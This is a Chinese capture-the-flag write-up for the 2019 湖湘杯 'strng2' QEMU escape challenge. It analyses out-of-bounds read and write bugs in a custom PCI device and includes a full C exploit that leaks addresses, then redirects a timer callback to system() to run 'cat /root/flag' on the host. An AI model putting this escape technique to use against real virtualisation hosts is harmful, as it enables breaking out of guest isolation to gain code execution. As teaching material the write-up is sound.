strng2 湖湘杯 2019

 

1. 前言

比赛的时候没做出来, 最近正好在跟着大佬的仓库[1]学习 qemu pwn , 所以就复现一下. 现在看来这题真的挺简单的. 希望以后也能多多遇见这种简单的qemu pwn题23333.

关于qemu pwn的一些基础知识网上相关的文章已经很多了, 我就不再重复了. 可以参考[4]

这是我发的第一道关于 qemu pwn的文章, 所以写的比较详细. 会把做题的具体步骤都详细说一下. 一是总结一下做这种题的流程, 而是尽量保证读者跟着做就可以复现成功. 如果遇到什么问题欢迎评论指出.

题目文件

链接: https://pan.baidu.com/s/1VhjF9v1tKGyH9-3IcPoJJg 提取码: uw7g

目前做过的qemu pwn题的形式大都是基于qemu源码进行修改或这添加, 使得 qemu 模拟的某个pci设备有漏洞, 而用户需要通过利用这些漏洞获取 宿主机上的 flag.

 

2. 漏洞分析

拿到题目先解压, 然后看一下启动脚本

➜  strng2 cat launch.sh
#! /bin/sh
./qemu-system-x86_64 
-initrd ./rootfs.cpio 
-kernel ./vmlinuz-4.8.0-52-generic 
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' 
-enable-kvm 
-monitor /dev/null 
-m 64M --nographic -L ./dependency/usr/local/share/qemu 
-L pc-bios 
-device strng

通过 -device strng 可以得知设备名称为 strng

然后用 IDA 加载 qemu-system-x86_64, 并搜索函数名中包含 strng 的函数.

strng realted functions

先看看 class_init 函数

void __cdecl strng_class_init(ObjectClass_0 *a1, void *data)
{
  PCIDeviceClass_0 *k; // ST18_8

  k = (PCIDeviceClass_0 *)object_class_dynamic_cast_assert(
                            a1,
                            "pci-device",
                            "/home/w0lfzhang/Desktop/qemu-2.8.1.1/hw/misc/strng.c",
                            172,
                            "strng_class_init");
  k->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_strng_realize;
  k->exit = pci_strng_uninit;
  k->vendor_id = 0x1234;
  k->device_id = 0x11E9;
  k->revision = 0x10;
  k->class_id = 0xFF;
}

可以得知该设备的vendor_id:device_id 为 1234:11e9

然后启动qemu, 并执行 lspci

Welcome to QEMU-ESCAPE
qemu login: root
# lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:11e9

通过比对vendor_id 和 device_id 可以确定 该设备的 pci 地址为 00:04.0

然后我们就可以进入该设备的目录, 并cat resource 文件看一下该设备的地址空间(关于这个目录中文件的作用可以参考[2])

# cd /sys/devices/pci0000:00/0000:00:04.0/
# cat resource
start              end                flags
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200
0x000000000000c050 0x000000000000c057 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

可以看到有两块地址空间.

因为这儿的文件系统是用busybox 制作的, 提供的lspci功能比较简陋. 所以无法看出两个地址空间究竟是 PMIO 还是 MMIO (关于PMIO 和 MMIO 可以参考 [4]).

但是我们可以通过 /proc/iomem/proc/ioports 这两个文件来确定

# cat /proc/ioports
...
c050-c057 : 0000:00:04.0
...
# cat /proc/iomem
...
febf1000-febf10ff : 0000:00:04.0
...

至此可以确定 端口号 c050-c057 和物理地址 febf1000-febf10ff 是属于这个设备的, 对这些地址空间进行读写操作就可以触发 qemu 中对应的函数.

还可以根据resource文件中对应的flags判断. 根据 linux 源码[5]中如下定义

#define IORESOURCE_IO        0x00000100    /* PCI/ISA I/O ports */
#define IORESOURCE_MEM        0x00000200

也可以确定第一行是 MMIO, 第二行是 PMIO.

到这儿已经可以确定设备的地址空间了, 我们就可以通过对这些地址空间进行读写操作来调用对应的回调函数.

比如往物理地址 0xfebf1000 写一个字节, qemu就会调用 strng_pmio_write 这个函数.

地址空间和回调函数的绑定是在 realize 函数中 调用 memory_region_init_io 实现的.

void __cdecl pci_strng_realize(struct STRNGState *pdev, Error_0 **errp)
{
  struct STRNGState *strng; // ST18_8

  strng = pdev;
  timer_init_ms_0(&pdev->strng_timer, QEMU_CLOCK_VIRTUAL_0, (QEMUTimerCB *)strng_timer, pdev);
  // 注册 mmio
  memory_region_init_io(&strng->mmio, &strng->pdev.qdev.parent_obj, &strng_mmio_ops, strng, "strng-mmio", 0x100uLL);
  pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio);
    // 注册 pmio
  memory_region_init_io(&strng->pmio, &strng->pdev.qdev.parent_obj, &strng_pmio_ops, strng, "strng-pmio", 8uLL);
  pci_register_bar(&pdev->pdev, 1, 1u, &pdev->pmio);
}
/*
...
.data.rel.ro:000055555636D080 strng_mmio_ops  dq offset strng_mmio_read; read
.data.rel.ro:000055555636D080                                         ; DATA XREF: pci_strng_realize+75↑o
.data.rel.ro:000055555636D080                 dq offset strng_mmio_write; write
...
.data.rel.ro:000055555636D100 ; const MemoryRegionOps_0 strng_pmio_ops
.data.rel.ro:000055555636D100 strng_pmio_ops  dq offset strng_pmio_read; read
.data.rel.ro:000055555636D100                                         ; DATA XREF: pci_strng_realize+CB↑o
.data.rel.ro:000055555636D100                 dq offset strng_pmio_write; write
*/

接下来就要分析这个设备的实现了, 重点自然是 MMIO, PMIO 的读写回调函数.

uint64_t __cdecl strng_mmio_read(struct STRNGState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax

  if ( size != 4 || addr & 3 )
    result = -1LL;
  else
    result = opaque->regs[addr>>2]; //oob read
  return result;
}

void __cdecl strng_pmio_write(struct STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  int64_t v4; // rax
  uint32_t saddr; // [rsp+24h] [rbp-Ch]

  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 && !(opaque->addr & 3) )
      {
        saddr = opaque->addr >> 2;
        if ( saddr == 1 )
        {
          opaque->regs[1] = rand();
        }
        else if ( saddr < 1 )
        {
          srand(val);
        }
        else if ( saddr == 3 )
        {
          opaque->regs[3] = rand_r(&opaque->regs[2]);
        }
        else
        {
          opaque->regs[saddr] = val; // oob write
          if ( opaque->flag )
          {
            v4 = qemu_clock_get_ms_4(QEMU_CLOCK_VIRTUAL_0);
            timer_mod(&opaque->strng_timer, v4 + 100);
          }
        }
      }
    }
    else
    {
      opaque->addr = val;
    }
  }
}

void __cdecl strng_pmio_write(struct STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  int64_t v4; // rax
  uint32_t saddr; // [rsp+24h] [rbp-Ch]

  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 && !(opaque->addr & 3) )
      {
        saddr = opaque->addr >> 2;
        if ( saddr == 1 )
        {
          opaque->regs[1] = rand();
        }
        else if ( saddr < 1 )
        {
          srand(val);
        }
        else if ( saddr == 3 )
        {
          opaque->regs[3] = rand_r(&opaque->regs[2]);
        }
        else
        {
          *((_DWORD *)&opaque->pdev.qdev.parent_obj.free + saddr + 0x2BCLL) = val;
          if ( opaque->flag )
          {
            v4 = qemu_clock_get_ms_4(QEMU_CLOCK_VIRTUAL_0);
            timer_mod(&opaque->strng_timer, v4 + 100); // 启动定时器
          }
        }
      }
    }
    else
    {
      opaque->addr = val;
    }
  }
}

00000000 STRNGState      struc ; (sizeof=0xC30, align=0x10, copyof_1437)
00000000 pdev            PCIDevice_0 ?
000008F0 mmio            MemoryRegion_0 ?
000009F0 pmio            MemoryRegion_0 ?
00000AF0 addr            dd ?
00000AF4 flag            dd ?
00000AF8 regs            dd 64 dup(?)
00000BF8 strng_timer     QEMUTimer_0 ?
00000C28                 db ? ; undefined
00000C29                 db ? ; undefined
00000C2A                 db ? ; undefined
00000C2B                 db ? ; undefined
00000C2C                 db ? ; undefined
00000C2D                 db ? ; undefined
00000C2E                 db ? ; undefined
00000C2F                 db ? ; undefined
00000C30 STRNGState      ends

00000000 QEMUTimer_0     struc ; (sizeof=0x30, align=0x8, copyof_506)
00000000                                         ; XREF: IscsiTask/r
00000000                                         ; STRNGState/r
00000000 expire_time     dq ?
00000008 timer_list      dq ?                    ; offset
00000010 cb              dq ?                    ; offset
00000018 opaque          dq ?                    ; offset
00000020 next            dq ?                    ; offset
00000028 scale           dd ?
0000002C                 db ? ; undefined
0000002D                 db ? ; undefined
0000002E                 db ? ; undefined
0000002F                 db ? ; undefined
00000030 QEMUTimer_0     ends

上图可以明显看到一个mmio_read中有越界读漏洞, mmio_write中有越界写漏洞. 结合 STRNGState 这个结构体的内容可以看到 regs 后面接的是 一个 QEMUTimer_0 结构体. 这个结构体是一个定时器. 其中 cb 是函数指针(callback function), 而 opaque 就是传给 callback function 的参数.

而在 pmio_write 函数中可以启动定时器.

所以利用思路就很简单了.

  1. 因为 QEMUTimer_0 的cb 初始化时是指向 elf中的一个函数的, 所以我们可以利用越界读把这个地址读出来, 从而拿到 elf 的基地址, 绕过 PIE.
  2. 利用 QEMUTimer_0 的 opaque leak 堆地址
  3. 往 regs[3]-regs[6] 中写入字符串 “cat /root/flag”
  4. 利用pwndbg 的probeleak命令在 堆上找到一个指向libc 的地址, leak libc地址
  5. 把 cb 修改为 system 地址
  6. 把 opaque 修改为 “cat /root/flag”的地址
  7. 启动定时器.

(其实不leak libc地址也可以, 有了 elf 基地址之后可以用 system@plt 的地址)

 

3. exploit

//cc -m32 -O0 -static -o exp exp.c
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

#define MMIO_FILE "/sys/devices/pci0000:00/0000:00:04.0/resource0"
#define PMIO_BASE 0xc050
char* MMIO_BASE;

void die(char* msg){
    perror(msg);
    exit(-1);
}

void init_io(){
    int mmio_fd = open(MMIO_FILE, O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("open mmio file error");
    MMIO_BASE = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (MMIO_BASE == MAP_FAILED)
        die("mmap mmio file failed");
    if (iopl(3) != 0)
        die("io permission requeset failed");
}

uint32_t pmio_read(uint32_t offset){
    return (uint32_t)inl(PMIO_BASE + offset);
}

void pmio_write(uint32_t offset, uint32_t val){
    outl(val, PMIO_BASE + offset);
}

uint32_t mmio_read(uint32_t offset){
    return *(uint32_t *)(MMIO_BASE + offset);
}

void mmio_write(uint32_t offset, uint32_t val){
    *(uint32_t *)(MMIO_BASE + offset) = val;
}

uint32_t pmio_oob_read(uint32_t offset) {
    pmio_write(0, offset);
    return pmio_read(4);
}

void pmio_oob_write(uint32_t offset, uint32_t val){
    pmio_write(0, offset);
    pmio_write(4, val);
}
/*
cat /root/flag 
0x20746163
0x6f6f722f
0x6c662f74
0x00006761
*/

int main(int argc, char **argv){
    uint64_t elf_base, state_addr, libc_base, system_addr;
    uint32_t reg_offset = 0xaf8;
    init_io();

    mmio_write(0x10, 0x20746163);
    mmio_write(0x14, 0x6f6f722f);
    mmio_write(0x18, 0x6c662f74);
    mmio_write(0x1c, 0x00006761);
    elf_base = pmio_oob_read(0xc0c-reg_offset);
    elf_base <<= 32;
    elf_base |= pmio_oob_read(0xc08-reg_offset);
    elf_base -= 0x29ac8e;
    printf("elf_base : %#llxn", elf_base);

    state_addr = pmio_oob_read(0xc14-reg_offset);
    state_addr <<= 32;
    state_addr |= pmio_oob_read(0xc10-reg_offset);
    printf("state_addr : %#llxn", state_addr);

    libc_base = pmio_oob_read(0x7698+4-reg_offset);
    libc_base <<= 32;
    libc_base |= pmio_oob_read(0x7698-reg_offset);
    libc_base -= 0x3c4b78;
    printf("libc_base : %#llxn", libc_base);
    system_addr = libc_base+0x45390;

    // overwrite cb function ptr
    pmio_oob_write(0xc0c-reg_offset, (uint32_t)(system_addr>>32));
    pmio_oob_write(0xc08-reg_offset, (uint32_t)(system_addr&0xffffffff));

    // overwrite function's argument
    pmio_oob_write(0xc14-reg_offset, (uint32_t)((state_addr+0xb08) >> 32));
    pmio_oob_write(0xc10-reg_offset, (uint32_t)((state_addr+0xb08) & (0xffffffff)));

    // trigger timer -> call-back function
    mmio_write(0x20, 0);
    pmio_oob_write(0, 0);

    sleep(1);

    return 0;

}

 

4. 一些小技巧

4.1. 交互

4.1.1. MMIO

这题中我们通过 cat resource 文件已经可以确定物理地址 febf1000-febf10ff 是属于这个设备的. 要访问这块物理地址我们有两种方式:

  1. mmap /sys/devices/pci0000:00/0000:00:04.0/resource0 这个文件之后然后读写[3]
  2. mmap /dev/mem 通过/dev/mem 可以访问整个物理内存. (mam mem for more information)

这两种方式我都集成在了我的模板之中. 有些题目只能用第二种方法. 具体情况具体分析

4.1.2. PMIO

直接用 inx 和 outx 函数即可. 要注意的是需要先调用 iopl(3) 来提升io 权限, 否则可能会读写失败.

4.2. 调试

➜  strng2 cat ./debug 
file qemu-system-x86_64
b strng_mmio_read
b strng_mmio_write
b strng_pmio_read
b strng_pmio_write
set $state=0x555556a64db0
set $addr=$state+0xaf0
set $regs=$state+0xaf8
set $timer=$state+0xbf8
run -initrd ./rootfs.cpio -kernel ./vmlinuz-4.8.0-52-generic -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -L ./dependency/usr/local/share/qemu -L pc-bios -device strng
➜  strng2 sudo gdb --command=./debug

4.3. 传输exp

我是用Makefile的, 编译打包一条命令就可以了

➜  rootfs cat Makefile 
exp:
        cc -m32 -O0 -static -o exp exp.c
        find . | cpio -H newc -ov -F ../rootfs.cpio
        rm exp

4.4. exp template

做了几个题目我也总结了一个 qemu pwn 的exp模板, 封装了一些简单的函数, 仅供参考(会持续更新)

https://github.com/pullp/pwn_framework/blob/master/templates/qemu_pci_template.c

 

4. 总结

总的来说这题比较简单, 适合用来入门. 因为这个题目既学到了很多知识, 同时也发现了更多要学的东西2333.

 

参考

[1] ray-cp师傅的vm-escape 库

[2] sysfs-pci.txt

[3] pci设备开发基础知识

[4] qemu pwn-基础知识

[5] ioport.h

(完)